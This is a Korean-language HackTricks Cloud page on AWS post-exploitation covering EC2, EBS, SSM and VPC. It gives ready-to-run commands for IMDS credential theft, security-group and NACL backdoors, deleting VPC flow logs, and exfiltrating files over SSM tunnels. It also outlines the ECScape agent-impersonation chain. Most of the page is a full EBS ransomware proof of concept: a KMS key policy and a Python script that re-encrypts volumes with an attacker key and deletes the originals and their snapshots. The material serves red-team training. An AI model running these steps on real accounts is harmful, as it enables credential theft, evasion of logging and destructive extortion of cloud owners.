AWS - EC2, EBS, SSM & VPC 사후 침해 활동
Tip
AWS 해킹 배우기 및 연습하기:
HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기:HackTricks Training GCP Red Team Expert (GRTE)
Azure 해킹 배우기 및 연습하기:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks 지원하기
- 구독 계획 확인하기!
- **💬 Discord 그룹 또는 텔레그램 그룹에 참여하거나 Twitter 🐦 @hacktricks_live를 팔로우하세요.
- HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.
EC2 & VPC
자세한 내용은 다음을 확인하세요:
AWS - EC2, EBS, ELB, SSM, VPC & VPN Enum
Malicious VPC Mirror - ec2:DescribeInstances, ec2:RunInstances, ec2:CreateSecurityGroup, ec2:AuthorizeSecurityGroupIngress, ec2:CreateTrafficMirrorTarget, ec2:CreateTrafficMirrorSession, ec2:CreateTrafficMirrorFilter, ec2:CreateTrafficMirrorFilterRule
VPC traffic mirroring는 VPC 내의 EC2 인스턴스에 대해 인바운드 및 아웃바운드 트래픽을 인스턴스에 별도의 소프트웨어를 설치할 필요 없이 복제합니다. 이 복제된 트래픽은 일반적으로 네트워크 침입 탐지 시스템(IDS) 같은 곳으로 전송되어 분석 및 모니터링됩니다.
공격자는 이를 악용해 모든 트래픽을 캡처하여 민감한 정보를 획득할 수 있습니다:
자세한 내용은 다음 페이지를 확인하세요:
실행 중인 인스턴스 복사
인스턴스에는 보통 어떤 형태로든 민감한 정보가 들어 있습니다. 내부로 침투하는 방법은 여러 가지가 있습니다(참조: EC2 privilege escalation tricks). 그러나 포함된 내용을 확인하는 또 다른 방법은 AMI를 생성하고 그로부터 새 인스턴스(자신의 계정이라도)를 실행하는 것입니다:
# List instances
aws ec2 describe-images
# create a new image for the instance-id
aws ec2 create-image --instance-id i-0438b003d81cd7ec5 --name "AWS Audit" --description "Export AMI" --region eu-west-1
# add key to AWS
aws ec2 import-key-pair --key-name "AWS Audit" --public-key-material file://~/.ssh/id_rsa.pub --region eu-west-1
# create ec2 using the previously created AMI, use the same security group and subnet to connect easily.
aws ec2 run-instances --image-id ami-0b77e2d906b00202d --security-group-ids "sg-6d0d7f01" --subnet-id subnet-9eb001ea --count 1 --instance-type t2.micro --key-name "AWS Audit" --query "Instances[0].InstanceId" --region eu-west-1
# now you can check the instance
aws ec2 describe-instances --instance-ids i-0546910a0c18725a1
# If needed : edit groups
aws ec2 modify-instance-attribute --instance-id "i-0546910a0c18725a1" --groups "sg-6d0d7f01" --region eu-west-1
# be a good guy, clean our instance to avoid any useless cost
aws ec2 stop-instances --instance-id "i-0546910a0c18725a1" --region eu-west-1
aws ec2 terminate-instances --instance-id "i-0546910a0c18725a1" --region eu-west-1
EBS Snapshot dump
Snapshots은 볼륨의 백업입니다, 일반적으로 민감한 정보를 포함하고 있으므로 확인하면 해당 정보를 노출할 수 있습니다.
만약 volume without a snapshot을 찾았다면: Create a snapshot을 생성하여 다음 작업을 수행하거나 계정 내부의 인스턴스에 단순히 mount it in an instance 하세요:
Covert Disk Exfiltration via AMI Store-to-S3
EC2 AMI를 CreateStoreImageTask로 바로 S3로 내보내 snapshot 공유 없이 raw 디스크 이미지를 얻습니다. 이렇게 하면 인스턴스의 네트워킹을 건드리지 않고도 전체 오프라인 포렌식이나 데이터 절취가 가능합니다.
AWS – Covert Disk Exfiltration via AMI Store-to-S3 (CreateStoreImageTask)
Live Data Theft via EBS Multi-Attach
io1/io2 Multi-Attach 볼륨을 두 번째 인스턴스에 연결하고 읽기 전용으로 마운트하여 snapshot 없이 실시간 데이터를 흘려빼냅니다. 피해자 볼륨이 이미 동일 AZ 내에서 Multi-Attach가 활성화된 경우 유용합니다.
AWS - Live Data Theft via EBS Multi-Attach
EC2 Instance Connect Endpoint Backdoor
EC2 Instance Connect Endpoint를 생성하고 ingress를 허용한 뒤 일시적인 SSH 키를 주입하여 관리되는 터널을 통해 private 인스턴스에 접속합니다. 공개 포트를 열지 않고도 빠른 lateral movement 경로를 제공합니다.
AWS - EC2 Instance Connect Endpoint backdoor + ephemeral SSH key injection
EC2 ENI Secondary Private IP Hijack
피해자 ENI의 secondary private IP를 공격자 제어 ENI로 이동시켜 IP로 allowlisted된 신뢰된 호스트를 사칭합니다. 특정 주소를 기준으로 한 내부 ACL이나 SG 규칙을 우회할 수 있게 합니다.
AWS – EC2 ENI Secondary Private IP Hijack (Trust/Allowlist Bypass)
Elastic IP Hijack for Ingress/Egress Impersonation
피해자 인스턴스의 Elastic IP를 공격자로 재연결하여 인바운드 트래픽을 가로채거나 신뢰된 퍼블릭 IP에서 오는 것처럼 보이는 아웃바운드 연결을 생성합니다.
AWS - Elastic IP Hijack for Ingress/Egress IP Impersonation
Security Group Backdoor via Managed Prefix Lists
Security Group 규칙이 customer-managed prefix list를 참조하는 경우, 목록에 공격자 CIDR을 추가하면 SG 자체를 수정하지 않고도 해당 리스트를 참조하는 모든 SG 규칙의 접근 범위를 조용히 확장합니다.
AWS - Security Group Backdoor via Managed Prefix Lists
VPC Endpoint Egress Bypass
gateway 또는 interface VPC endpoint를 생성하여 격리된 서브넷에서 아웃바운드 접근을 회복합니다. AWS-managed private links를 활용하면 데이터 exfiltration을 위해 IGW/NAT 제어가 없음을 우회할 수 있습니다.
AWS – Egress Bypass from Isolated Subnets via VPC Endpoints
ec2:AuthorizeSecurityGroupIngress
ec2:AuthorizeSecurityGroupIngress 권한을 가진 공격자는 security group에 인바운드 규칙을 추가할 수 있습니다(예: 0.0.0.0/0에서 tcp:80 허용). 이로 인해 내부 서비스가 공개 인터넷이나 허가되지 않은 네트워크에 노출됩니다.
aws ec2 authorize-security-group-ingress --group-id <sg-id> --protocol tcp --port 80 --cidr 0.0.0.0/0
ec2:ReplaceNetworkAclEntry
ec2:ReplaceNetworkAclEntry (or similar) 권한을 가진 공격자는 서브넷의 Network ACLs (NACLs)를 수정해 매우 관대하게 만들 수 있습니다 — 예를 들어 중요한 포트에 0.0.0.0/0을 허용하면 서브넷 전체 범위를 인터넷이나 권한 없는 네트워크 세그먼트에 노출시킬 수 있습니다. 인스턴스별로 적용되는 Security Groups와 달리 NACLs는 서브넷 수준에서 적용되므로 제한적인 NACL을 변경하면 훨씬 더 많은 호스트에 대한 접근을 허용하여 영향 범위가 훨씬 커질 수 있습니다.
aws ec2 replace-network-acl-entry \
--network-acl-id <ACL_ID> \
--rule-number 100 \
--protocol <PROTOCOL> \
--rule-action allow \
--egress <true|false> \
--cidr-block 0.0.0.0/0
ec2:Delete*
ec2:Delete* 및 iam:Remove* 권한을 가진 공격자는 중요한 인프라 리소스와 구성을 삭제할 수 있습니다 — 예: key pairs, launch templates/versions, AMIs/snapshots, volumes or attachments, security groups or rules, ENIs/network endpoints, route tables, gateways, managed endpoints. 이는 즉각적인 서비스 중단, 데이터 손실 및 포렌식 증거의 상실을 초래할 수 있습니다.
한 예로 security group을 삭제하는 경우:
aws ec2 delete-security-group
–group-id <SECURITY_GROUP_ID>
VPC Flow Logs Cross-Account Exfiltration
VPC Flow Logs를 공격자가 제어하는 S3 버킷으로 지정하면 피해자 계정 외부에서 네트워크 메타데이터(source/destination, ports)를 지속적으로 수집하여 장기 정찰에 활용할 수 있습니다.
AWS - VPC Flow Logs Cross-Account Exfiltration to S3
Data Exfiltration
DNS Exfiltration
심지어 EC2의 아웃바운드를 차단해도, 여전히 exfil via DNS가 가능합니다.
- VPC Flow Logs는 이것을 기록하지 않습니다.
- AWS DNS logs에 접근할 수 없습니다.
- 이를 비활성화하려면 “enableDnsSupport“를 false로 설정하세요:
aws ec2 modify-vpc-attribute --no-enable-dns-support --vpc-id <vpc-id>
Exfiltration via API calls
공격자는 자신이 제어하는 계정의 API endpoints를 호출할 수 있습니다. Cloudtrail은 이러한 호출들을 기록하며 공격자는 Cloudtrail 로그에서 exfiltrate data를 확인할 수 있습니다.
Open Security Group
다음과 같이 포트를 열면 네트워크 서비스에 대한 추가 접근 권한을 얻을 수 있습니다:
aws ec2 authorize-security-group-ingress --group-id <sg-id> --protocol tcp --port 80 --cidr 0.0.0.0/0
# Or you could just open it to more specific ips or maybe th einternal network if you have already compromised an EC2 in the VPC
Privesc to ECS
EC2 인스턴스를 실행하고 이를 ECS 인스턴스 실행용으로 등록한 후 ECS 인스턴스의 데이터를 탈취할 수 있습니다.
For more information check this.
ECS-on-EC2 IMDS Abuse and ECS Agent Impersonation (ECScape)
ECS의 EC2 launch type에서는 제어 플레인이 각 task role을 가정하고 임시 자격증명을 Agent Communication Service(ACS) WebSocket 채널을 통해 ECS agent로 전달합니다. 에이전트는 그런 다음 task metadata endpoint(169.254.170.2)를 통해 컨테이너에 해당 자격증명을 제공합니다. ECScape 연구는 컨테이너가 IMDS에 접근해 instance profile을 탈취할 수 있으면 ACS 상에서 에이전트를 가장해 해당 호스트의 모든 task role 자격증명을 받을 수 있음을 보여줍니다. 여기에는 metadata endpoint로 노출되지 않는 task execution role 자격증명도 포함됩니다.
공격 체인
- IMDS에서 container instance role을 탈취. ECS agent가 사용하는 호스트 역할을 얻기 위해 IMDS 접근이 필요합니다.
TOKEN=$(curl -s -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600")
curl -s -H "X-aws-ec2-metadata-token: $TOKEN" \
http://169.254.169.254/latest/meta-data/iam/security-credentials/{InstanceProfileName}
-
ACS poll endpoint와 필요한 식별자 식별. instance role 자격증명을 사용해
ecs:DiscoverPollEndpoint를 호출하여 ACS endpoint를 얻고 cluster ARN, container instance ARN 같은 식별자를 수집합니다. cluster ARN은 task metadata(169.254.170.2/v4/)로 노출되고, container instance ARN은 agent introspection API나(허용되는 경우)ecs:ListContainerInstances로 얻을 수 있습니다. -
ACS 상에서 ECS agent를 가장. poll endpoint에 SigV4 서명된 WebSocket을 시작하고
sendCredentials=true를 포함합니다. ECS는 연결을 유효한 agent 세션으로 받아들이고 인스턴스의 모든 태스크에 대한IamRoleCredentials메시지를 스트리밍하기 시작합니다. 여기에는 ECR pull, Secrets Manager 조회, CloudWatch Logs 접근을 가능하게 하는 task execution role 자격증명도 포함됩니다.
Find the PoC in https://github.com/naorhaziz/ecscape
IMDSv2 + hop limit 1 설정 시 IMDS 접근성
HttpTokens=required와 HttpPutResponseHopLimit=1로 IMDSv2를 설정해도 추가 홉(Docker bridge) 뒤에 있는 태스크만 차단됩니다. 다른 네트워킹 모드들은 Nitro 컨트롤러와 여전히 한 홉 이내에 있어 응답을 받습니다:
| ECS network mode | IMDS reachable? | Reason |
|---|---|---|
awsvpc | ✅ | 각 태스크는 자체 ENI를 가지며, IMDS와 여전히 한 홉 거리이므로 토큰과 메타데이터 응답이 정상적으로 도착합니다. |
host | ✅ | 태스크들이 호스트 네임스페이스를 공유하므로 EC2 인스턴스와 동일한 홉 거리를 가집니다. |
bridge | ❌ | 추가 홉 때문에 Docker bridge에서 응답이 소멸되어 hop limit을 초과합니다. |
따라서, hop limit 1이 awsvpc 또는 host-mode 워크로드를 보호한다고 절대 가정하지 마세요 — 항상 컨테이너 내부에서 테스트하세요.
네트워크 모드별 IMDS 차단 탐지
-
awsvpc tasks: Nitro가 호스트에 link-local 주소 169.254.169.254를 주입하기 때문에 Security groups, NACLs 또는 라우팅 조정만으로는 해당 주소를 차단할 수 없습니다.
/etc/ecs/ecs.config에서ECS_AWSVPC_BLOCK_IMDS=true를 확인하세요. 플래그가 없으면(기본값) 태스크에서 직접 IMDS를 curl할 수 있습니다. 플래그가 설정되어 있으면 호스트/agent 네임스페이스로 피벗해 값을 되돌리거나 awsvpc 외부에서 도구를 실행하세요. -
bridge mode: hop limit 1이 설정되어 있음에도 메타데이터 요청이 실패하면, 방어자가 아마도
DOCKER-USER에--in-interface docker+ --destination 169.254.169.254/32 --jump DROP같은 drop 규칙을 삽입했을 가능성이 큽니다.iptables -S DOCKER-USER로 확인할 수 있으며, root 권한이 있으면 IMDS 쿼리 전에 해당 규칙을 삭제하거나 순서를 변경할 수 있습니다. -
host mode: 에이전트 설정에서
ECS_ENABLE_TASK_IAM_ROLE_NETWORK_HOST=false를 확인하세요. 이 설정은 태스크 IAM 역할을 완전히 제거하므로, 설정을 다시 활성화하거나 awsvpc 태스크로 이동하거나 호스트의 다른 프로세스를 통해 자격증명을 탈취해야 합니다. 값이true(기본값)일 경우, 맞춤형 eBPF/cgroup 필터가169.254.169.254를 대상으로 하지 않는 한 손상된 컨테이너를 포함한 모든 host-mode 프로세스가 IMDS에 접근할 수 있습니다;tc/eBPF 프로그램이나 해당 주소를 참조하는 iptables 규칙을 찾아보세요.
Latacora even released Terraform validation code you can drop into a target account to enumerate which network modes still expose metadata and plan your next hop accordingly.
어떤 모드가 IMDS를 노출하는지 파악한 뒤에는 포스트-익스플로잇 경로를 계획할 수 있습니다: 임의의 ECS task를 노리고 instance profile을 요청하고 에이전트를 가장해 다른 모든 task role을 수집하여 클러스터 내부에서 수평 이동이나 지속성을 확보하세요.
VPC flow logs 제거
aws ec2 delete-flow-logs --flow-log-ids <flow_log_ids> --region <region>
SSM Port Forwarding
Required permissions:
ssm:StartSession
명령 실행 외에도, SSM은 트래픽 터널링을 허용하며 이를 악용해 Security Groups 또는 NACLs 때문에 네트워크 접근이 없는 EC2 인스턴스에서 pivot할 수 있습니다. 이것이 유용한 시나리오 중 하나는 Bastion Host에서 private EKS cluster로 pivoting하는 경우입니다.
세션을 시작하려면 SessionManagerPlugin이 설치되어 있어야 합니다: https://docs.aws.amazon.com/systems-manager/latest/userguide/install-plugin-macos-overview.html
- 본인 기기에 SessionManagerPlugin을 설치합니다
- 다음 명령을 사용해 Bastion EC2에 로그인합니다:
aws ssm start-session --target "$INSTANCE_ID"
- Abusing SSRF in AWS EC2 environment 스크립트를 사용해 Bastion EC2의 AWS 임시 자격 증명을 가져옵니다
- 자격 증명을 자신의 머신의
$HOME/.aws/credentials파일에[bastion-ec2]프로파일로 옮깁니다 - Bastion EC2로서 EKS에 로그인:
aws eks update-kubeconfig --profile bastion-ec2 --region <EKS-CLUSTER-REGION> --name <EKS-CLUSTER-NAME>
$HOME/.kube/config파일의server필드를https://localhost를 가리키도록 업데이트하세요- 다음과 같이 SSM 터널을 생성합니다:
sudo aws ssm start-session --target $INSTANCE_ID --document-name AWS-StartPortForwardingSessionToRemoteHost --parameters '{"host":["<TARGET-IP-OR-DOMAIN>"],"portNumber":["443"], "localPortNumber":["443"]}' --region <BASTION-INSTANCE-REGION>
kubectl도구의 트래픽은 이제 SSM 터널을 통해 Bastion EC2를 경유하여 전달되며, 다음 명령을 실행하여 로컬 머신에서 프라이빗 EKS 클러스터에 액세스할 수 있습니다:
kubectl get pods --insecure-skip-tls-verify
Note that the SSL connections will fail unless you set the --insecure-skip-tls-verify flag (or its equivalent in K8s audit tools). 트래픽이 보안된 AWS SSM 터널을 통해 전달되므로 모든 종류의 MitM 공격으로부터 안전합니다.
마지막으로, 이 기법은 프라이빗 EKS 클러스터 공격에만 국한되지 않습니다. 임의의 도메인과 포트를 설정하여 다른 AWS 서비스나 커스텀 애플리케이션으로 pivot할 수 있습니다.
빠른 로컬 ↔️ 원격 포트 포워딩 (AWS-StartPortForwardingSession)
만약 EC2 인스턴스에서 로컬 호스트로 단일 TCP 포트만 포워딩하면 된다면, AWS-StartPortForwardingSession SSM 문서를 사용할 수 있습니다(원격 호스트 파라미터 불필요):
aws ssm start-session --target i-0123456789abcdef0 \
--document-name AWS-StartPortForwardingSession \
--parameters "portNumber"="8000","localPortNumber"="8000" \
--region <REGION>
The command establishes a bidirectional tunnel between your workstation (localPortNumber) and the selected port (portNumber) on the instance 인바운드 Security-Group 규칙을 열지 않고.
Common use cases:
- File exfiltration
- On the instance start a quick HTTP server that points to the directory you want to exfiltrate:
python3 -m http.server 8000
- From your workstation fetch the files through the SSM tunnel:
curl http://localhost:8000/loot.txt -o loot.txt
- 내부 웹 애플리케이션에 접근 (예: Nessus)
# Forward remote Nessus port 8834 to local 8835
aws ssm start-session --target i-0123456789abcdef0 \
--document-name AWS-StartPortForwardingSession \
--parameters "portNumber"="8834","localPortNumber"="8835"
# Browse to http://localhost:8835
팁: 증거를 exfiltrating하기 전에 Compress하고 encrypt하여 CloudTrail이 clear-text content를 기록하지 않도록 하세요:
# On the instance
7z a evidence.7z /path/to/files/* -p'Str0ngPass!'
AMI 공유
aws ec2 modify-image-attribute --image-id <image_ID> --launch-permission "Add=[{UserId=<recipient_account_ID>}]" --region <AWS_region>
공개 및 비공개 AMIs에서 민감한 정보 검색
- https://github.com/saw-your-packet/CloudShovel: CloudShovel는 공개 또는 비공개 Amazon Machine Images (AMIs) 내에서 민감한 정보를 검색하도록 설계된 도구입니다. 대상 AMIs로부터 인스턴스를 시작하고, 해당 볼륨을 마운트하며, 잠재적인 secrets 또는 민감한 데이터를 스캔하는 과정을 자동화합니다.
EBS Snapshot 공유
aws ec2 modify-snapshot-attribute --snapshot-id <snapshot_ID> --create-volume-permission "Add=[{UserId=<recipient_account_ID>}]" --region <AWS_region>
EBS Ransomware PoC
S3 post-exploitation notes에 있는 Ransomware 데모와 유사한 PoC이다. KMS는 이를 사용해 다양한 AWS 서비스를 쉽게 암호화할 수 있으므로 Ransomware Management Service(RMS)로 이름을 바꿔야 한다.
먼저 ‘attacker’ AWS 계정에서 KMS에 customer managed key를 생성한다. 이 예에서는 AWS가 키 데이터를 관리하도록 두겠지만, 현실적인 시나리오에서는 악성 행위자가 키 데이터를 AWS의 제어 밖에서 보유할 것이다. 키 정책을 변경하여 모든 AWS 계정 Principal이 키를 사용할 수 있도록 허용한다. 이 키 정책의 경우 계정 이름은 ’AttackSim’이었고, 모든 접근을 허용하는 정책 규칙은 ’Outside Encryption’이라고 불렸다.
{
"Version": "2012-10-17",
"Id": "key-consolepolicy-3",
"Statement": [
{
"Sid": "Enable IAM User Permissions",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::[Your AWS Account Id]:root"
},
"Action": "kms:*",
"Resource": "*"
},
{
"Sid": "Allow access for Key Administrators",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::[Your AWS Account Id]:user/AttackSim"
},
"Action": [
"kms:Create*",
"kms:Describe*",
"kms:Enable*",
"kms:List*",
"kms:Put*",
"kms:Update*",
"kms:Revoke*",
"kms:Disable*",
"kms:Get*",
"kms:Delete*",
"kms:TagResource",
"kms:UntagResource",
"kms:ScheduleKeyDeletion",
"kms:CancelKeyDeletion"
],
"Resource": "*"
},
{
"Sid": "Allow use of the key",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::[Your AWS Account Id]:user/AttackSim"
},
"Action": [
"kms:Encrypt",
"kms:Decrypt",
"kms:ReEncrypt*",
"kms:GenerateDataKey*",
"kms:DescribeKey"
],
"Resource": "*"
},
{
"Sid": "Outside Encryption",
"Effect": "Allow",
"Principal": {
"AWS": "*"
},
"Action": [
"kms:Encrypt",
"kms:Decrypt",
"kms:ReEncrypt*",
"kms:GenerateDataKey*",
"kms:DescribeKey",
"kms:GenerateDataKeyWithoutPlainText",
"kms:CreateGrant"
],
"Resource": "*"
},
{
"Sid": "Allow attachment of persistent resources",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::[Your AWS Account Id]:user/AttackSim"
},
"Action": [
"kms:CreateGrant",
"kms:ListGrants",
"kms:RevokeGrant"
],
"Resource": "*",
"Condition": {
"Bool": {
"kms:GrantIsForAWSResource": "true"
}
}
}
]
}
The key policy rule needs the following enabled to allow for the ability to use it to encrypt an EBS volume:
kms:CreateGrantkms:Decryptkms:DescribeKeykms:GenerateDataKeyWithoutPlainTextkms:ReEncrypt
이제 공개적으로 접근 가능한 키를 사용할 준비가 되었습니다. 암호화되지 않은 EBS 볼륨이 연결된 EC2 인스턴스들이 있는 ‘victim’ 계정을 사용할 수 있습니다. 이 ‘victim’ 계정의 EBS 볼륨이 암호화 대상이며, 이 공격은 고권한 AWS 계정의 침해가 가정된 상황입니다.
S3 ransomware 예제와 유사합니다. 이 공격은 스냅샷을 사용해 연결된 EBS 볼륨의 복사본을 생성하고, ‘attacker’ 계정의 공개 키를 사용해 새 EBS 볼륨을 암호화한 다음, EC2 인스턴스에서 원본 EBS 볼륨을 분리하고 삭제하며, 마지막으로 새로 암호화된 EBS 볼륨을 생성하는 데 사용된 스냅샷을 삭제합니다.
그 결과 계정에는 암호화된 EBS 볼륨만 남게 됩니다.
또한 주목할 점은, 스크립트가 원본 EBS 볼륨을 분리하고 삭제하기 위해 EC2 인스턴스들을 중지했다는 것입니다. 원본 비암호화 볼륨들은 이제 사라졌습니다.
다음으로, ‘attacker’ 계정의 key policy로 돌아가서 key policy에서 ‘Outside Encryption’ 정책 규칙을 제거합니다.
{
"Version": "2012-10-17",
"Id": "key-consolepolicy-3",
"Statement": [
{
"Sid": "Enable IAM User Permissions",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::[Your AWS Account Id]:root"
},
"Action": "kms:*",
"Resource": "*"
},
{
"Sid": "Allow access for Key Administrators",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::[Your AWS Account Id]:user/AttackSim"
},
"Action": [
"kms:Create*",
"kms:Describe*",
"kms:Enable*",
"kms:List*",
"kms:Put*",
"kms:Update*",
"kms:Revoke*",
"kms:Disable*",
"kms:Get*",
"kms:Delete*",
"kms:TagResource",
"kms:UntagResource",
"kms:ScheduleKeyDeletion",
"kms:CancelKeyDeletion"
],
"Resource": "*"
},
{
"Sid": "Allow use of the key",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::[Your AWS Account Id]:user/AttackSim"
},
"Action": [
"kms:Encrypt",
"kms:Decrypt",
"kms:ReEncrypt*",
"kms:GenerateDataKey*",
"kms:DescribeKey"
],
"Resource": "*"
},
{
"Sid": "Allow attachment of persistent resources",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::[Your AWS Account Id]:user/AttackSim"
},
"Action": ["kms:CreateGrant", "kms:ListGrants", "kms:RevokeGrant"],
"Resource": "*",
"Condition": {
"Bool": {
"kms:GrantIsForAWSResource": "true"
}
}
}
]
}
새로 설정한 key policy가 전파될 때까지 잠시 기다리세요. 그런 다음 ‘victim’ 계정으로 돌아가 새로 암호화된 EBS 볼륨 중 하나를 연결해 보세요. 볼륨을 연결할 수 있음을 확인할 수 있습니다.
하지만 암호화된 EBS 볼륨을 연결한 상태로 EC2 인스턴스를 실제로 다시 시작하려고 하면 실패하여 ‘pending’ 상태에서 다시 ‘stopped’ 상태로 계속 돌아갑니다. 연결된 EBS 볼륨을 더 이상 key로 복호화할 수 없고, key policy가 이를 허용하지 않기 때문입니다.
다음은 사용된 python script입니다. 이 스크립트는 ‘victim’ 계정의 AWS creds와 암호화에 사용할 공개적으로 접근 가능한 AWS ARN 값을 입력으로 받습니다. 스크립트는 대상 AWS 계정의 모든 EC2 인스턴스에 연결된 모든 사용 가능한 EBS 볼륨의 암호화된 복사본을 생성한 다음, 모든 EC2 인스턴스를 중지시키고 원본 EBS 볼륨을 분리한 후 삭제하고, 마지막으로 이 과정에서 사용된 모든 snapshots를 삭제합니다. 이로 인해 대상 ‘victim’ 계정에는 암호화된 EBS 볼륨만 남게 됩니다. 이 스크립트는 테스트 환경에서만 사용하세요 — 파괴적이며 모든 원본 EBS 볼륨을 삭제할 것입니다. 사용된 KMS key를 통해 스냅샷에서 복구하면 원래 상태로 복구할 수 있지만, 결국 이것은 ransomware PoC임을 알려드립니다.
import boto3
import argparse
from botocore.exceptions import ClientError
def enumerate_ec2_instances(ec2_client):
instances = ec2_client.describe_instances()
instance_volumes = {}
for reservation in instances['Reservations']:
for instance in reservation['Instances']:
instance_id = instance['InstanceId']
volumes = [vol['Ebs']['VolumeId'] for vol in instance['BlockDeviceMappings'] if 'Ebs' in vol]
instance_volumes[instance_id] = volumes
return instance_volumes
def snapshot_volumes(ec2_client, volumes):
snapshot_ids = []
for volume_id in volumes:
snapshot = ec2_client.create_snapshot(VolumeId=volume_id)
snapshot_ids.append(snapshot['SnapshotId'])
return snapshot_ids
def wait_for_snapshots(ec2_client, snapshot_ids):
for snapshot_id in snapshot_ids:
ec2_client.get_waiter('snapshot_completed').wait(SnapshotIds=[snapshot_id])
def create_encrypted_volumes(ec2_client, snapshot_ids, kms_key_arn):
new_volume_ids = []
for snapshot_id in snapshot_ids:
snapshot_info = ec2_client.describe_snapshots(SnapshotIds=[snapshot_id])['Snapshots'][0]
volume_id = snapshot_info['VolumeId']
volume_info = ec2_client.describe_volumes(VolumeIds=[volume_id])['Volumes'][0]
availability_zone = volume_info['AvailabilityZone']
volume = ec2_client.create_volume(SnapshotId=snapshot_id, AvailabilityZone=availability_zone,
Encrypted=True, KmsKeyId=kms_key_arn)
new_volume_ids.append(volume['VolumeId'])
return new_volume_ids
def stop_instances(ec2_client, instance_ids):
for instance_id in instance_ids:
try:
instance_description = ec2_client.describe_instances(InstanceIds=[instance_id])
instance_state = instance_description['Reservations'][0]['Instances'][0]['State']['Name']
if instance_state == 'running':
ec2_client.stop_instances(InstanceIds=[instance_id])
print(f"Stopping instance: {instance_id}")
ec2_client.get_waiter('instance_stopped').wait(InstanceIds=[instance_id])
print(f"Instance {instance_id} stopped.")
else:
print(f"Instance {instance_id} is not in a state that allows it to be stopped (current state: {instance_state}).")
except ClientError as e:
print(f"Error stopping instance {instance_id}: {e}")
def detach_and_delete_volumes(ec2_client, volumes):
for volume_id in volumes:
try:
ec2_client.detach_volume(VolumeId=volume_id)
ec2_client.get_waiter('volume_available').wait(VolumeIds=[volume_id])
ec2_client.delete_volume(VolumeId=volume_id)
print(f"Deleted volume: {volume_id}")
except ClientError as e:
print(f"Error detaching or deleting volume {volume_id}: {e}")
def delete_snapshots(ec2_client, snapshot_ids):
for snapshot_id in snapshot_ids:
try:
ec2_client.delete_snapshot(SnapshotId=snapshot_id)
print(f"Deleted snapshot: {snapshot_id}")
except ClientError as e:
print(f"Error deleting snapshot {snapshot_id}: {e}")
def replace_volumes(ec2_client, instance_volumes):
instance_ids = list(instance_volumes.keys())
stop_instances(ec2_client, instance_ids)
all_volumes = [vol for vols in instance_volumes.values() for vol in vols]
detach_and_delete_volumes(ec2_client, all_volumes)
def ebs_lock(access_key, secret_key, region, kms_key_arn):
ec2_client = boto3.client('ec2', aws_access_key_id=access_key, aws_secret_access_key=secret_key, region_name=region)
instance_volumes = enumerate_ec2_instances(ec2_client)
all_volumes = [vol for vols in instance_volumes.values() for vol in vols]
snapshot_ids = snapshot_volumes(ec2_client, all_volumes)
wait_for_snapshots(ec2_client, snapshot_ids)
create_encrypted_volumes(ec2_client, snapshot_ids, kms_key_arn) # New encrypted volumes are created but not attached
replace_volumes(ec2_client, instance_volumes) # Stops instances, detaches and deletes old volumes
delete_snapshots(ec2_client, snapshot_ids) # Optionally delete snapshots if no longer needed
def parse_arguments():
parser = argparse.ArgumentParser(description='EBS Volume Encryption and Replacement Tool')
parser.add_argument('--access-key', required=True, help='AWS Access Key ID')
parser.add_argument('--secret-key', required=True, help='AWS Secret Access Key')
parser.add_argument('--region', required=True, help='AWS Region')
parser.add_argument('--kms-key-arn', required=True, help='KMS Key ARN for EBS volume encryption')
return parser.parse_args()
def main():
args = parse_arguments()
ec2_client = boto3.client('ec2', aws_access_key_id=args.access_key, aws_secret_access_key=args.secret_key, region_name=args.region)
instance_volumes = enumerate_ec2_instances(ec2_client)
all_volumes = [vol for vols in instance_volumes.values() for vol in vols]
snapshot_ids = snapshot_volumes(ec2_client, all_volumes)
wait_for_snapshots(ec2_client, snapshot_ids)
create_encrypted_volumes(ec2_client, snapshot_ids, args.kms_key_arn)
replace_volumes(ec2_client, instance_volumes)
delete_snapshots(ec2_client, snapshot_ids)
if __name__ == "__main__":
main()
참고자료
- https://www.sweet.security/blog/ecscape-understanding-iam-privilege-boundaries-in-amazon-ecs
- Latacora - ECS on EC2: Covering Gaps in IMDS Hardening
- Latacora ecs-on-ec2-gaps-in-imds-hardening Terraform repo
- Pentest Partners – How to transfer files in AWS using SSM
Tip
AWS 해킹 배우기 및 연습하기:
HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기:HackTricks Training GCP Red Team Expert (GRTE)
Azure 해킹 배우기 및 연습하기:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks 지원하기
- 구독 계획 확인하기!
- **💬 Discord 그룹 또는 텔레그램 그룹에 참여하거나 Twitter 🐦 @hacktricks_live를 팔로우하세요.
- HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.
HackTricks Cloud

